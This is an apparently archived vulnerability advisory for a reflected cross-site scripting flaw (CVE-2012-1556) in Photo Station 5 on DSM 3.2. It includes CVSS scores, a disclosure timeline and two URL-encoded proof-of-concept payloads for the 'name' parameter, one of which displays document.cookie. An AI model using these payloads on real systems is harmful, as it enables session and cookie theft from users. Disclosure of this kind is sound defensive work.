Photo Station 5 Cross Site Scripting

2012.03.13
Credit: Simon Ganiere
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

############################################################################## # # Title : Photo Station 5 - Reflected Cross-Site Scripting # Author : Simon Ganiere # Vendor : http://www.sinology.com # Advisory : CVE-2012-1556 # Software : Photo Station 5 - DSM 3.2 (1955) # Date : 05/02/2012 # ############################################################################### 30/01/2012 Issue Discovered 05/02/2012 Vendor Notified 06/03/2012 Vendor released DSM 4 Class: Cross-Site Scripting (Reflected) Overview: --------- Photo Station5 is prone to a reflected cross site scripting vulnerability Technical Description: ---------------------- Input passed via the 'name' parameter to page: /photo/photo_one.php pages is not properly verified, which allows remote attackers to inject arbitrary script code. Impact: -------- Successful exploitation could allow remote attackers to execute malicious scripts and steal sensitive data. Affected Software: ------------------ Photo Station 5, DSM 3.2 (1955) Tested on: ----------- Photo Station 5, DSM 3.2 (1955), Mac OS X 10.7.2/10.7.3, Firefox 9.0.1 Proof of Concept: ---------------- 1) /photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%3c%2f%73%63%72%69%70%74%3e Generate an alert message in javascript with a text in it. The second name parameter is encoded using urlencode 2) /photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%61%20%68%72%65%66%3d%22 Generate an alert message with the document.cookie in it. The second name parameter is encoded using urlencode. Vendor URL: ---------------- http://www.sinology.com Credits: -------- Simon Ganiere

References:

http://www.sinology.com


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